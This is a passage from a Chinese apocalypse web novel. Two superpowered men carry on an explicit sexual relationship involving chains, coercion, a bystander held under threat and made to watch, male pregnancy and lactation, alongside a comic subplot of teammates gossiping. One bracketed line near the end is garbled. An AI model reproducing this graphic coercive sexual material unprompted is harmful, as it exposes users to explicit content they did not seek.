没有一句好听的,产出来的能量体内流淌的甚至还是卿淼的异能……迟聿驷冷漠地重重按在那片仍在痉挛的小腹上,把他揽在怀里一把翻了个身。 “趴好。” 他俯身咬住郗烬忱的后颈,手掌配合着一起猛地施加压力:“反正还能怀…死掉也没关系吧?” 一旁被挡得严严实实的学者B52轰炸机独自陷入深思。眨眼又睁眼后,他捂住被迟聿驷异能影响而不断流血的眼睛,在地上安静地打了几个滚。 卵生鲨鱼和卵胎生鲨鱼,四年前他还是个学生的时候学过一点:卵生鲨鱼的胚胎在体外发育,卵胎生则会在母体内孵化——可这一幕还是有点惊悚了。 异能能改变人的物种吗?还是扭曲物种界限?他不由得头皮发麻。 而且…… 艳红的、热乎乎的、流淌不停的…… 那地方外形有些漂亮,红而嫩,没有什么毛发,肥嘟嘟地敞开着,B52本身觉得不久前对方袭去时,迟聿驷就算没被闷死也会被淹死的,但他仍然还好好地活着。 “诶!”想的什么乱七八糟的,B52还是没忍住开了口:“这玩意孵出来会叫爸爸吗?” 话一出口,紧随而来传入耳膜的却是自己声音的回响。 先前光注意人体哲学戏码的现场片段,B52这才发现自己被一层薄薄的蓝色屏障笼罩住了,密密麻麻却微不可见的蓝色光刃漂浮在周围的空气里,刀尖对准了他的头颅,仿佛随时会将他扎成一个刺猬。 “…靠。” 一边提防他,还一边让他一直看着。 这人什么玩意,真当他是play的一部分?就因为鲨鱼牙有人看时反应会更剧烈?你们怎么不直接去大街上?! 那边的黑发男人适时故意调整角度,若有若无地随意瞥了他一眼,单手钳住郗烬忱的下颌,将他泛红的脸转向B52的方向。 迟聿驷的声音被刻意压低,完全听不到这人凑到对方耳畔说了什么。B52狠狠抹掉眼睛里泛出来的血色,捕捉到那人从迟聿驷黑裤下露出的一截脚踝。 根本不需要看清的太清,光看不断流出的眼泪、地上的积水与其瘫软在怀里的反应,B52就知道鲨鱼牙现在绝对抖得没法说话了。 …… “有人在数你掉了几颗卵。”迟聿驷在他耳畔说。 郗烬忱完全控制不住身体的本能反应,把自己紧紧靠在对方身上,湿漉漉的手指弯曲着,将所有掉落在地上的分裂能量体都聚拢在一起,模模糊糊地滚落出眼泪。 为什么,会感到难受……? 一团即将熄灭的紫光,许多半透明的胶质。他看着这些发着紫光的微弱物质渐渐又开始融合,腹中传来空洞的绞痛。 好歹算是从自己身体内汲取养分成长出来的物质,可能拥有生命,也可能没有……这一切怎么开始的,已经全部都出乎了他的预料。 卿淼……?迟聿驷…?好像还有谁在看着……郗烬忱无法进行深度思考,指节陷入小腹,涣散的视线里浮现出扭曲的残像,他徒劳地张开嘴,发出幼鲨般的微弱气音。 迟聿驷又在那里继续问:“给我怀一个?” 能成功的话那有点有趣,但怎么办得到,没有实质性的行为,也没有卿淼一样奇怪的……郗烬忱泣喘着,骤然变调的音节揉进破碎的腔调。 他失神地仰躺在地板上,指尖脱力地抓过地面,不可探查之地仍在无意识地开合着,如同潮汐退去后未及闭合的贝,直到被什么触碰探究。 伴随着舌的探索与再度涌上的浪,郗烬忱闭上眼睛,察觉到腹腔内悄然凝结出幽蓝的光斑。 共命的异能像是在响应迟聿驷刚刚的话语一样自动触发,心跳都开始共振起来。 郗烬忱抬起头,紫罗兰色的眼眸像一片星空化的雾蒙海洋,耳边响起一阵又一阵涨潮般的海水声音。 …… 他看起来像是被自己弄得傻掉了。 眼神涣散,唇瓣微张,呼吸仍带着未平复的混乱,面上一片空白,只剩生理性的战栗。迟聿驷捏着他的脸,认真观察一件被玩坏的玩具。 指腹摩挲过他湿润的唇瓣,迟聿驷观察着观察着,就凑过去离得更近了点,鼻息交错间,看到对方眼睫间漏出碎紫的流光,最后两个唇瓣贴在一起,在对方的紫色眼睛中看到了自己的倒影。 “闭眼。”迟聿驷说。 他只是突然不想让郗烬忱露出这副表情,仅此而已。 他不清楚为什么。 郗烬忱适宜迷茫地露出一点惊异,像是又要低笑起来,但嘴角扯动了一下,还是乖顺的闭上了眼睛。 唇齿相贴的感觉很奇怪。迟聿驷没什么体温,不止体现在身体上,他的唇也冰凉凉的,却又柔软顺滑,舌头倒是灵活的,将他侵略到浑身发颤。 沙哑的嗓子意义不明地发出有些受不住的闷哼。 迟聿驷有点想笑,但没笑出来。郗烬忱的唇齿里满是巧克力棒的甜腻,血腥味不多,触到时有些柔软,甜滋滋的,又有点发苦,他还想尝尝,于是他继续深入,近乎撕咬,穿过尖锐的鲨鱼牙齿,这一次没有被咬的满嘴出血。 被混杂情绪裹挟的鲨鱼本人对这个突如其来的动作有点反应不过来,仍然陷在那片混沌的情绪里,愣愣地张着嘴,软着身体任由他长驱直入,这样侵犯着自己的口腔。 迟聿驷拽了下锁链,看着他又要更傻一点的样子,这次是真的笑出了声,不是冷笑。 面前的人总算是加载完毕,用发颤的手指碰上迟聿驷的嘴唇,将二人隔绝开,好半天也没动,像是确认存在般停顿了十几秒。 紧接着,郗烬忱像是疑惑般向前探头,被沾湿的银紫色发丝蹭过泛红的眼尾,瞳孔收缩成小小的一点。 他缓缓支起发软的身体,手臂环过迟聿驷的脖颈,没有什么力气,身体仍在对抗虚脱般的绵软,单纯以一种试探的姿态贴近,宛如某种无声的邀请。 那些脱离他身体的能量体正在一旁无声地交融,表面泛起幽紫色的光晕,在地面上缓慢旋转,凝聚成一个圆润的团子。 仍然还能感应到细微的联系。 长久的、像是白痴般的停顿后,他近乎愉悦地笑起来。 “……好。” 第114章 分裂能量体融合而成的团子外形大概有成年人拳头大小。 它很安静, 看起来也过分无害,缩成小小的一团,窝在郗烬忱泛着青紫咬痕的锁骨凹陷处, 快速眨巴着自己身上的两颗会发光的蓝色玻璃珠。 细碎的蓝色流光一闪一闪,狭小的房间内黑暗而寂静。被它紧贴着的男人蜷缩在沙发上昏睡,银紫色的发辫自然垂落在脖颈。 之前位于那里的骇人刀疤已经在这段时间内被完全修复, 新生的肌肤在微弱光线下带着不自然的冷白色调。郗烬忱缓慢呼吸时,脖颈上的环扣项圈和胸膛上与其相连接的锁链也被带动着一起轻轻颤动。 基础配置不全的房间里没有被褥,郗烬忱被裹在干净的黑色风衣里, 仍然还在被能量体成熟后造成的虚弱与未消的晴意折磨。 记忆像是沉浸在深海沼泽, 在不久前那场近乎失控的泥泞中,他意识混沌地扣紧迟聿驷的肩膀。 呼吸、汗水、模糊却带着潮湿的触感……他在这片泥泞里沉浮,不知节制的索求, 直到彻底坠入黑暗。 浑身散发淡紫色光芒的团子像柔软的棉花糖那样欢快地拉长身体,亲昵地在男人的脖颈上轻轻蹭了蹭。 紧接着,它翻滚冲锋,钻进衣服里, 不停歇地一路将圆不溜秋的自己滚动到腹部。 无数细小黏腻的触须在短短路途中胡乱游走, 它在到达目的地的那瞬间静止不动,感知到这里有新生命的存在。 同源的生命波动, 它挥舞着小触手欢呼起来,这里是它诞生的温床, 是需要守护的巢穴。衍生的触须随即分泌出莹亮的黏液,最终完全包裹住那片肌肤。 睡梦中的男人溢出不安的轻喘,淡紫色团子立刻警觉地竖起几根触须,小幅度拱动着身体,将原本平整的黑色风衣顶起一个小小的鼓包。 迟聿驷静立在沙发旁看着这一幕。冷峻的面容隐在阴影里, 他伸手戳了戳郗烬忱腹部的凸起,团子蛄蛹着,隔着大衣精准地咬住他的手指。 牙齿倒是和郗烬忱一样锋利。 反手把它攥在掌心,迟聿驷面无表情地收拢手指,衣服下的小鼓包顿时扭动起来,发出高频的“吱吱”尖叫,数根触须拼命在宿主的身体上伸展,想要在冷血恶魔的魔爪下原路逃窜回温暖的子宫。 迟聿驷无情地加大力道,妄图将一个团子直接掐死。但无论他如何施力,这团诡异的能量体总能重新凝聚,发出不把郗烬忱吵醒就不罢休的吱吱大叫胡乱蠕动,仿佛根本不存在实体。 “麻烦。” 扫一眼沙发上的人,迟聿驷低嗤一声,将它从衣服里提溜出来,随意捏扁后厌烦地松开手,俯下身勾住郗烬忱的膝弯,将人稳稳打横抱起。 昏沉中的人下意识瑟缩了一下,将自己更深地蜷进风衣里,紧靠住迟聿驷的肩膀,听到对方平稳而缓慢的心跳声音。 有些令人心安的……郗烬忱迷迷糊糊地偏过头环住他的脖子,半阖着眼睫,轻轻舔过迟聿驷被自己咬破的唇角。 扁扁一片的淡紫色团子趁机钻回衣领深处,用几根触须紧紧勾拽住不断摇晃的锁链,发出委屈的咕噜声音。 “咕噜…” “再叫就把你扔了。” 迟聿驷低沉的声音里带着警告,团子闭紧了布满细密尖牙的嘴,乖乖地趴在郗烬忱的胸口拽了拽锁链。 紧接着,它一口咬住锁链最尽头的硕大吮吸了两下,尝到几丝蜜甜的味道,安分地静止不动了,发出微弱而满足的咕噜声响。 见它重新安静下来,迟聿驷便漠然移开视线,对这个来历不明的生命存疑体不予理会。 但没想到第二天,这家伙对醒来的郗烬忱闹腾的更欢了。 短暂离开半小时不到的人类最强靠在明日基地卧室的门旁,表情冷漠地看着它手舞足蹈。 “咕咕咕咕咕——吱吱啾——噜噜噜——吱——!” 淡紫色团子一会儿鼓气变成带刺的圆球,没一会儿又拉长成扭曲的条状,像是受了委屈后告状的无辜小朋友,用尽全身解数,对着床上不知道从哪翻出来的迟聿驷的纸质照片疯狂比划。 它全然没有发现照片上的人已然站在身后,只顾着卖力扭动,朝刚醒来的鲨鱼牙男人不停歇的滋哇儿乱叫,试图向他展示照片上“罪魁祸首”想要杀死自己的恶行。 郗烬忱斜倚在椅子上,齿间懒散地叼着半融化的巧克力棒。 他用舌尖卷过甜腻的可可碎屑,伸手戳了戳气得鼓成球的团子,被对方的触须缠住手指。 “亲爱的,”郗烬忱支着下巴笑起来,“它在告你的状呢。” 两颗蓝色的玻璃珠在体表180度移动,注意到门旁的迟聿驷,团子不可置信地再看了郗烬忱一眼,所有舞动的触须齐刷刷蔫了下来,最后只从体内挤出可怜巴巴的: “……咕。” 郗烬忱轻笑一声,将咬剩的半截巧克力棒随意递了过去。团子伸出两根触手,像抱宝贝似的紧紧搂在怀里,两颗蓝色的玻璃珠雀跃地眨了眨,张开满嘴细密的尖牙。 那些牙齿排列得异常紧密,郗烬忱突然卡住它想要塞进食物的动作,抵住那颗最长的尖齿。团子僵直半瞬,所有牙齿齐刷刷缩了回去,变成人畜无害的空洞。 “真有意思……” 郗烬忱看向一直没说话的黑发男人,饶有兴趣地重复了一遍,轻快地问:“它是不是很有意思?” 他只简单套了一件从衣柜翻出来的黑色衬衣,语调还带着一丝沙哑。没有系扣的衣领松垮地敞着,露出连接着环扣项圈的蓝色锁链。 那链条泛着冷光,从锁骨凹陷处分叉,再绕了一圈环住胸膛,深深陷入肌肤,将紧实柔软的肌肉挤压出起伏的沟壑,在青紫淤痕与冷白肤色之间印下几道暖昧的红。 下方的衣摆只堪堪遮到大腿根部,伴随着郗烬忱漫不经心支起膝盖的动作,阴影深处隐约可见一道泛着旖旎的色彩。 看着有些晶莹,湿漉漉的,像是融化的巧克力酱。 迟聿驷走过来,单手拎起那团淡紫色的能量体。 和他如出一辙的蓝色玻璃珠慌乱地眨动起来,团子无措地挥动触手在空中划了几圈,犹犹豫豫地卷起那半根被郗烬忱咬得参差不齐的巧克力棒,试探性地递到迟聿驷的嘴边。 巧克力棒的断面还留着清晰的齿痕,融化的地方正缓缓滴落,迟聿驷抬起手,指尖径直探向身侧人未被遮掩住的地方。 蹭到一手融化的巧克力酱。 黏稠的丝线牵缠在指尖,迟聿驷没什么表情地摩挲着指腹的粘液,将被沾湿的手指举到团子面前。 “嗯。”他冷淡回答。 “那我应该让卿淼也看看。” 郗烬忱不怎么在意地站起身,黑色衬衣下摆掠过椅面,留下一小片湿润的水痕。 迟聿驷淡淡瞥了一眼,继续盯着淡紫色的团子,看它仍然保持着举起那半截巧克力棒的姿势,颤颤巍巍,十分努力。 “怎么,”郗烬忱随手扯了下坠着抑制核的项圈,喉结在束缚下滚动。他仰起脖颈,戏谑低笑道:“蓝色的眼睛,说不定它是……” “我的。” 将巧克力棒直接塞进团子嘴里,迟聿驷转过身,左手探进郗烬忱衬衣下摆,不重不轻地按压住他的腹部。 新生的存在仿佛在手心下跳动,迟聿驷话语言简意赅,却带着不容置疑的压迫感:“这个也是我的。” 两个人的距离再一次近到呼吸交缠,郗烬忱早已对此有些习惯起来。 但那双如冰川般的淡蓝色眼眸罕见地泛起一丝波动,他还是忍不住勾起唇角,向前倾身贴住对方的鼻尖。 “…我也是你的。” 郗烬忱轻声问:“迟聿驷,你要和我接吻吗?” 漫长的寂寞凝聚出最深的欲望。 面前的黑发男人是个被剥夺情感的尸体,而他却对这样的人产生了欲望,并且不可避免地成为了欲望的奴隶。就比如他在人生中所有美好灿烂的时刻里,都是这么过来的—— 怀抱着扭曲且期待的紧张、和悲喜交集的欢愉与放肆。 没有乱七八糟的称谓,语气也很正常。抛去记忆里那些对方情动失神时傻掉了的模样,迟聿驷基本没有和这样的他相处过。 “接吻?”迟聿驷漠然重复了一遍,口腔里又开始萦绕起浓厚的巧克力味道。抬手扣住郗烬忱的下颌,他平静发问,“你是被我*傻了吗?” 郗烬忱语气带着玩味的笑意:“也许呢,说不定……” 话音被眼前人猛然袭来的动作阻断。 唇瓣在面前一开一合,迟聿驷一把拽过他的发辫狠狠咬了上去。毫无半分温柔与蜜意,铁锈味瞬间盖过了巧克力的甜腻,两种极端的气息在呼吸间相互交缠。 郗烬忱溢出低哑的闷哼,发力扣住迟聿驷的肩膀,再将自己整个人都压了上去。鲨鱼齿毫不留情地反咬他的下唇与舌头,将血腥与甜腻一并推到对方口腔。 共命的异能顺着相贴的唇齿在血液间窜动,流淌至腹部,能量波动如潮汐般起伏。 时间在模糊地流逝,郗烬忱终于忍不住弓起背脊溢出絮乱的音节,过载的异能让他浑身脱力酥麻,手臂虚软地横挡在两人之间,想要和对方隔开些距离。 迟聿驷却仍然纹丝不动,单手禁锢住他的手腕,将这个尚在虚弱期还未恢复过来的男人牢牢钉在原地,直到郗烬忱受不住地闭上雾蒙蒙的紫罗兰色眸瞳,才稍稍向后退了点距离。 他似乎是想说什么,喉结滚动一瞬,最后将嗤笑咽了回去,嗓音低沉冷冽:“怎么了?” 痛感与快意交织,郗烬忱在余韵里握住他按在自己腹部的那只手腕,闭着眼睛,一时半会儿没有回复。 “哈……”几分钟后,他喘息着低笑道,“你宝宝在踢我。” 第115章 来到这个末日世界之后, 卿淼就没有再做过梦了。 荒谬不安与惶恐难忍,这复杂的情绪占据了他所有脑海,对于这次任务已经不抱什么希望。 于他而言, 没有对自己产生长久且持续的实际性好处,之前为了保命兑换的异能和系统道具就相当于是在郗烬忱身上打了水漂,除了能恶心一下对方—— 可能郗烬忱根本没被恶心到, 反而完全乐在其中。也可能被恶心到了,奈何对手是迟聿驷……至于这位人类最强是怎么想的,卿淼暂时无法得知。 四天前的晚上, 系统提示他种在对方体内的异能成熟了。不过因为某种不用猜就能想到的原因, 属于卿淼的那部分异能因子被尽数‘污染’,现在它彻底不归他所有了。 系统警告他如果再和郗烬忱接触,后果可能会比之前两次那样能量反被对方汲取更为严重…… 简直赔了夫人又折兵, 卿淼对林锦楠如是叹气:这波叫那个什么,人类卿淼一败涂地。 于是在和她去了一趟六阶丧尸“灾厄”已然空洞的巢穴后,什么也没找到的卿淼回到基地,发现自己罕见地做了场梦。 梦里的银紫色发辫先生变成一只真正的怪兽, 生的一副尖牙利齿, 靠在门边残忍又危险地笑着,像要吃小孩一样凑了过来, 俯下身时,巨大的、没有一丝色彩的阴影笼罩住他。 ——是他第一次遇到郗烬忱的场面。 但和发生过的现实情况不同, 这里的面板弹出通红警示:无法脱离、无法逃脱。他在梦里害怕地闭紧眼睛,感受到有冰凉的触感碰到皮肤,温热的躯体随即压在脑袋上面。 怪兽的身体很软,还带着浓浓的巧克力味道,阻断了空气与思想, 没一会儿就有点呼吸困难。 卿淼强撑着掀起沉重的眼皮,莫名看到自己背后站着一道模糊的黑色剪影,那人踏过坍塌楼层,举起手中黑色长刀…… 混沌的大脑缓慢运转:为什么自己没死,为什么怪兽还在……? 等等。 意识回归躯壳,卿淼猛地在现实里睁开双眼。 “你醒了。” 林锦楠坐在面前淡淡看他,语气和“你死了”一样毫无波折,卿淼恍惚着抬起手,摸到脸上熟悉的细框眼镜,不由得舒了口气:“我睡了多久?” “…人类卿淼的正常午休时间?” 好冷的笑话,姐姐我们还是不说了吧。卿淼对着墙上的钟表扶额:“换个话题……我刚刚做了一场梦,可能是‘灾厄’的影响,也可能是其他,但不管如何…总之,林锦楠小姐,我在想一件事情。” 林锦楠若有所思:“你看起来有些严肃,卿淼博士。” “或许?但你知道的,我死过十几次了,却仍然如此弱小且接受无能。” “严肃,如你所见,一个没什么作用的人只剩下会思考这项能力,可不见得是件好事。尤其是我在思考,郗烬忱那家伙都能发现我……”卿淼拿起水杯,停顿了一下,“没道理他不知道。” “对于你可以‘复活’这件事?” “毕竟他算起来一共刀了我十三次,真有记忆的话,先不论昨天我们找他时的那种态度,他的行为从一开始都……” “昨天的事,也许还有另一层原因。” “什么?” “有人怀孕了。” 卿淼喝了口水。 “郗烬忱,你的孩子。” “可能是异能产生的副作……”卿淼随口接话,突然一口水喷了出来,瞪大眼睛:“等等,你说谁的????” “不是你的手笔?那个父子连心,然后替死。”林锦楠挑眉,“陈三元早上去研究院找过你,但你今天没去上班。” “当然不是。”卿淼义正言辞,“我早和你解释过了,那玩意的存在只是我为了活下来编的借口。” “虽然真怀了我的也不是不行,我当然举双手庆祝自己白捡一个便宜老婆还顺道喜得贵子,但这总得经过迟聿驷同意不是吗……综上所述,你说郗烬忱怀了他的…呃,孩子?这在我这倒十分可信。” 至于那个真实种进去的异能,早八辈子都不是他的了。 “哦,”林锦楠半晌道,“那他们现在都在谈论——他给你带了……一顶帽子?” 卿淼:“……呃,恕我愚钝,不是我想的那个吧?” 林锦楠无情补充:“绿色的帽子。” “……” 无辜的卿淼咽下嘴里呼之欲出的*末日脏话*,在这里沉默地打出一个句号:“。” 迟聿驷和郗烬忱确实是一起的,之前的猜测成真,林锦楠的语气却不像是在生气,卿淼有点好奇:“你心情不错?” “名义上的仇人正在经历这种非人的折磨与痛苦,我不应该高兴吗?”林锦楠淡然回复,“生育没有什么好处,本就是反人类的刑罚。这项能力全权赋予男人,对我、对所有人来说都是件正确选择。” 眼前的女人看起来恨不得全世界都知道这件事,幻视某个反生育动画片中的角色举起喇叭,满大街大喊:他能生!他能生!医生!这位先生——他!能!生! “好吧,”微怒的卿淼无能叹气:“我快被这天作之合的一对男同性恨打败了。” 而关于某二字文化人头上冒出碧绿Ⅰ/的这件事,愿为朋友两肋插刀的钟鸣曜对此义愤填膺。 事情是这样的。 陈二毛不久前出任务时遇到了一个隔壁基地的人,对其所持异能一见钟情妄图复制,但因对方极度的不配合,他最终只成功了一半,仅能勉强通过虚影复原某个地方发生过的某个事情。 梁修淮安慰他说至少能当监控回放用,陈三元评价说暴力手段获取的东西还有得用就不错了。前天清晨,他终于认清现实不再自闭,调整好心情,惯例跟钟鸣曜去研究院地下一楼送丧尸晶核,没想到路过一处废弃实验室时随手甩了个探查,里面就浮现出了某三个人的虚影。 不是ABC,也不是123,正是迟郗卿三人,看完这段断断续续、模糊不清、也没多少声音能听到的复原表演,陈二毛大受震撼:“我偶像怀了?!” 钟鸣曜目瞪口呆:“卿淼博士私下竟如此勇猛?” “怪不得之前我们接他来基地时我偶像对他穷追不舍,感情这是感情债啊……”陈二毛啧啧道,“我得和我哥说一下这个残酷的事实,不然他还惦记着和他的小卿博士步入爱的殿堂。” “可这不对啊,”钟鸣曜睿智的大脑开始思考起来,“虽然听不清他们说了什么,但由画面我们可以看出:卿淼博士的性命受到了威胁,而性格活泼的小辫…不管男女,反正就是怀了他的孩子,还护住了他,但现在却跟队长在一块儿——上次我们都看到的,林队也在,那是不是说明……?” 陈二毛:“队长他横刀拆散了……” “不可能!无论怎么算也肯定不是队长的问题啊!”钟鸣曜语气激愤地打断他,“队长能有什么错?队长这样做势必有他的考量,所以队长绝对没有错啊!当然无辜的卿淼博士也没有错,那照我说必然是……” “那我偶像怎么会有错呢?!”陈二毛插话反问,“虽然他性格恶劣、整天有事搞事、没事找茬、还神出鬼没……但你难道要去指责一个打游戏很厉害的孕父吗?!” “更何况,任由一个通缉犯大摇大摆地在基地里四处乱窜,我觉得队长他本身就很有问题啊!” 钟鸣曜脸色红温:“队长他没有问题!” “那我偶像也没有问题!” “不是我说,二毛你胳膊肘怎么老往外拐?!” “打游戏那么厉害的帅哥能是什么坏人?!”陈二毛理直气壮,“他都是队长的人了,怎么还算外人吗?” 钟鸣曜大吃一惊,钟鸣曜陷入沉思,钟鸣曜福至心灵,一番高谈阔论后问:“那他怀了卿淼博士的孩子,算不算给队长戴绿帽啊?” 陈二毛被他绕得头晕:“……不能吧。” 于是两个人在当天领完任务后吞吞吐吐地问迟聿驷:“队长队长,就是…嗯……那个…这个…那什么……想问小辫男他…就是卿淼博士跟他……呃…我们是想问…他怀的是——” 迟聿驷一刀劈开虚空,忙着赶路回家,懒得跟他们废话:“都是我的。” 虽然不理解男人怎么怀,怎么这个那个一个两个然后怀上再下来的,但有异能什么都不奇怪。 面对抬腿就走的第一小队队长,钟鸣曜于心不忍的对象换了个人:“那第一个也管队长叫爸的话,算不算给卿淼博士戴绿帽啊?” 陈三元欲止又言:“……我们能不能不讨论这个问题?” 梁修淮没忍住笑出了声,陈二毛有被无语到:“这怎么能是绿不绿帽的事呢,这是个人选择的问题,话说再怎么叫也不是叫你,你操心这个干什么……所以我的意思是,哥们,能不能先和我把这局打完再聊?” 钟鸣曜打开游戏机,继续自顾自思考:“所以到底算不算啊……” …… 被思考了几天的郗烬忱正用鲨鱼齿咬住皱巴巴的衬衣下摆,粗-暴地扯着右侧胸膛上的蓝色环扣,正在尝试用什么方法才能把它拽扯下来。 异常敏感的皮肤在布料的摩擦下已然泛起不正常的薄红,原本紧实精悍的肌肉线条在最近几天日渐暴涨,愈发变得绵软而饱满,指腹按下去便会陷进一片柔软,随着呼吸起伏而细微抖动。 不受控…难忍…十分奇怪,郗烬忱迸出一声介于痛苦与快意之间的喘息,触摸到脖颈处细细一条的金属项圈,徒劳地拽了下两者间链接得严严实实的异能链条。 那两枚本身恰好到处的圈环紧紧勒住胀痛一点,深箍出充血绯色,稍微触碰就牵动内里腺体泌出不透明的白,蜿蜒至已经遍布白痕的胸膛与腹部,在黑色衣裤上洇出深色的印记。 淡紫色的团子趴在他的左胸膛上,乖巧地蹭了蹭那处软绵的肌肤。 几分钟前,郗烬忱好不容易才将左侧的环扣从中间拽开。 但还带着体温的圈环即将坠向地面时,淡紫色的团子突然闪电般弹射过来,用触须精准卷住下坠的环扣,“嗒”的一声,给他又重新扣了回去。 紧接着,它就像小婴儿叼奶嘴般咬住那里不放开了。郗烬忱轻笑着摊开掌心,托住这团淡紫色的能量体以防止它掉下去,圆不溜秋的团子立刻悄悄松开扒住锁链的触须,在他掌心里欢快地扭动了几下,小触手舞动起来,讨好地缠住他的手指,发出“咕噜噜噜啾”的满足声音。 每当郗烬忱轻轻捏它一下,它就报复似的用力嘬吸一口,受激的地方顿时渗出更多的蜜甜味道,左侧的尽数进了它的肚子,另一侧则顺着饱满的沟壑缓缓滑落,被手指随意地在皮肤上抹开。 蓝色的玻璃珠快速转动着,偷偷观察银紫色发辫男人的反应,看他半晌只是抿住唇收回了手,也没打算拿它怎么办,不由得得寸进尺了不止一点,将自己被喂养得像个球一样的身体放松下来,挂在他胸膛上开始熟练地装死。 圆滚滚的身体坠在半空中左右摇晃成钟摆,如同圈环上加坠了一个份量不轻的砝码,扯动陷入皮肉的环扣,锁链随之被带动着发出清脆的碰撞声响。 郗烬忱半阖着眼帘,随手戳了下团子Q-弹的身体,喉结滚动一瞬,将溢到唇边的喘息咽了回去。 他向后泄力般靠在床头的靠枕上,修长的双腿不自然地交叠在一起,保持着半躺的姿势静止几秒,指节勾住右侧的环扣向外拉拽。 迟聿驷打的太深,圈环的存在会将内里已经涨出的入直阻塞住……郗烬忱咬着衣摆闷哼一声,试图用颤抖的指尖旋转环扣。 “呜…” 一柄黑色的长刀不知何时飞到了床头柜上,团子伸出一根触须,试探性地碰了碰冰凉的刀刃,瞬间被某种无形力场牢牢吸附。 身体被拉长变形,黏在上面动弹不得也缩不回去,淡紫色能量体“吱吱啾”乱叫,却发现自己连声音都发不出来。 它下意识望向门口一脸冷淡的迟聿驷,再眨巴着眼睛看向郗烬忱,后者微微蜷缩着战栗的身体轻喘,自身尚且处于水火之中,显然无法分出精力再来解救它于水火。 感觉面前的场景在这几天好像已无数次出现过,团子认命地举起两根触手,把自己摊成扁扁的一片圆饼。 迟聿驷将手中长刀轻轻抵在那微微翕动的下嘴唇唇瓣上,饱满的唇肉立刻包裹住冰冷的刀鞘,下意识挽留着贴紧了些。 他眸色一暗,声音低沉:“在干什么?” “…我在…哈…等你……” 嗓音低哑破碎,郗烬忱双手捧起两团饱涨的圆,被环扣勒出深红的痕迹,此刻正随着话语不断分泌,顺着指缝滴落在腹肌之间。 看样子哪怕一个人也完全可以,迟聿驷语气意味不明:“是吗?” 上下都在一起滴水,郗烬忱松开嘴里的衬衣,不在意地沿着长刀膝行着贴近,被浸透的衣料在刀面上留下一连串湿漉漉的痕迹。 他捧着胸口仰起脸,染着晴雨的眼尾洇开薄红,就这样盯着迟聿驷淡蓝色的眸瞳看了一会儿,半晌勾唇回答:“……玩我自己?” 迟聿驷摩挲着刀柄,将刀鞘贴着肌肤下滑,在面前人细微的颤栗中,重复了一遍先前的话语:“不是在等我?” “嗯……” 鲨鱼齿在唇间若隐若现,郗烬忱伸手环住他的肩膀。呼吸交错之间,他贴着对方耳畔颤声低笑起来:“当然…我和宝宝都很想你……” 迟聿驷没有回答这句话,也可能是不知道如何回答,郗烬忱被他状似冷酷的表情逗笑,抱着他直直向后倒去。 窄腰在一瞬间被一只有力的手臂护着环住,迟聿驷的手紧贴在他腰窝凹陷的弧度上,郗烬忱的指尖穿过黑色的发丝,将那张总是冷峻的脸更深地按进柔软的沟壑之间。 细细的、泛着幽蓝光点的锁链交错缠绕住郗烬忱的脖颈与胸膛,勒出一道道妖冶的红痕,硌住迟聿驷高挺的鼻梁。 自带甜味的液体顺着下颌线滑进黑色风衣的领口,迟聿驷掀起眼皮,感受到郗烬忱的小腹处——对应自己的心脏所在,正在传来温热而不容忽视的鲜活悸动。 第116章 迟聿驷说:“和我接吻。” 说这话时, 他仍然保持着撑在郗烬忱上方的姿势,语气淡淡的,神色也没有多大变动, 只简单地垂下眼帘看着身下的男人,仿佛这句话无关紧要,也不是他所说的一样。 敞开的衬衫乱七八糟地叠在腰际, 被润湿的布料紧贴着肌肤,银紫色发辫男人以一种古怪的表情看了他几秒,伸出手虚虚掩住迟聿驷的眉目。 “…你怎么…”他微喘着笑起来, 气息不稳的尾音勾着几分戏谑, “……这么喜欢接吻?” 回应他的是更沉的呼吸。 迟聿驷总是这样,不说话,却用所有动作宣告着绝对的主导权。 郗烬忱还想继续调侃几句, 可当对方近乎撕咬地贴住他的嘴唇时,所有字句都碎成了支离的气音。 他的吻算不上温柔,指腹还带着身为刀客练就而出的薄茧,冰凉的指尖沿着衬衫游走, 划过遍布痕迹的胸腹, 最后停留在仍在滴落的一点。 暂且无法干涸的液体被简单地抹开,郗烬忱不由得溢出一声轻喘, 阻挡他视线的手腕松了些力道,露出后方黑发男人冷峻沉静的眉目。 仍然是那副表情, 他觉得有趣,又一瞬间觉得很没意思,接吻时需要闭眼,郗烬忱不太喜欢。 当然,他也可以睁开眼睛, 眼睛长在他身上,审视或者睥睨都由他选择,但迟聿驷的神色太冷,目光太过平静,他不是很喜欢看,所以渐渐地也变得不太喜欢接吻。 尽管以两个人惯常的姿势来说,他都不怎么能看到迟聿驷这张完整的脸,但不知道从哪天的哪场开始,这人总会毫无预兆地说一句不算预警也没什么命令成分的陈述话语,不需要郗烬忱对此作出任何反应,就压下来用两指锢住他的下颌,再从各种意想不到的角度去吻他。 蜻蜓点水的轻触,亦或是凶狠残暴的深入。 有时候迟聿驷尝到最令他讨厌的巧克力味道,会略微移开些距离,皱着眉冷哼一声,评价,嗤笑,下一秒又重新撬开唇齿,并愈发加深这个近乎窒息的亲吻。 腹部内的存在往往这时候就会闹腾得特别厉害,存在感强烈到让郗烬忱没法忽视—— 作为被剥夺情感的对象,迟聿驷看起来完全不会在亲密活动中进行这类恋人之间才有的缠绵温情,他在缺氧的间隙模糊地猜测,可能只是单纯因为所谓的共命异能制造出来的生命体需要两个人这样,对方才用这种能够交换能量的方式参与新生命的温养。 可小家伙的性格显然是随了不怎么稳重的一方,迟聿驷明显是安抚的行为却让它变得更为兴奋,在腹部努力大展拳脚,看得出来生命力十分顽强不屈,不需要另一个爹这样也仍然在好好成长。 和眼前人接吻是在对抗争斗,移开距离后一时半会也无法平复气息。郗烬忱眼神迷离地舔了舔染血的唇瓣,半靠在那里,下意识用大腿夹住迟聿驷直直抵住流淌之口的膝盖。 胸膛在急促起伏着,迟聿驷用冷静到残忍的目光注视着他,连呼吸频率也没有多少变化,半晌,凉凉开口问道:“什么喜欢?” “嗯……我是说,接吻?” 郗烬忱抬起酸软的手臂,压着他的后颈,将人按在连绵波动的柔软之上,略微收紧了修长的双腿。 【】将咕噜咕噜咕噜噜噜咕噜咕噜咕噜沿着裤面上下移动啾 “有点…不可思议,”他笑着呛出咳喘,挤压迟聿驷脑袋的峰峦也连带着一起微微晃动,贴紧脸侧时传去细腻而柔软的湿润触感:“……不继续吗?” 比起亲吻,这副过于放荡不堪的身体早已被彻底浸透,让他更喜欢迟聿驷做出一些实际性的举动,渴望更具有侵略性的野蛮占有或是爱抚。 双臂渐渐收紧,腹部内的生命迹象远没有上一个能量体那样令他无措,郗烬忱已经习惯起来,喟叹般将迟聿驷的脸更深地揉向自己。 